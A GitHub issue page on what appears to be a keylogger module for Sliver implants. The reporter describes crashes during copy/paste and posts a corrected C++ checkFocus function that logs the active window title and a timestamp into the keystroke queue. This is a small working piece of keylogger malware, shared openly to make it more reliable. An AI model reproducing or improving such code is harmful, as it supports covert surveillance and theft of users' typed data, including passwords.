Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Random crash of the implant when copy/pasting #2

Open
smeukinou opened this issue Apr 14, 2023 · 0 comments
Open

Random crash of the implant when copy/pasting #2

smeukinou opened this issue Apr 14, 2023 · 0 comments

Comments

@smeukinou
Copy link

I found out that the keylogger crashed sliver implants, randomly, but quite quickly (after a few minutes under normal usage) when some copy/paste operations where carried out.

I cannot explain why it crashes, but I found out it's during the only conversion from string to wstring, and for some reason, in some cases, it crashes.

Here is the fixed code in WinMsgHandler.cpp (basicallhy use wide versions of api, to avoid the offending string=>wstring conversoion) :
void WinMsgHandler::checkFocus(UINT keyChar)
{
WCHAR window_title[256] = L"";
WCHAR wt[300] = L"";
SYSTEMTIME curr_time;
GetLocalTime(&curr_time);

auto hActiveWindow = GetForegroundWindow();
GetWindowTextW(hActiveWindow, window_title, 256);

//Insert reference to the current window
if ((hActiveWindow != hPrevWind)) {

	swprintf(wt, 300, L"\r\n%hu-%hu-%hu %hu:%hu [ %s ]\r\n", curr_time.wYear, curr_time.wMonth,
		curr_time.wDay, curr_time.wHour, curr_time.wMinute, window_title);

	_queue->Push(std::wstring(wt));
	hPrevWind = hActiveWindow;
}

}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant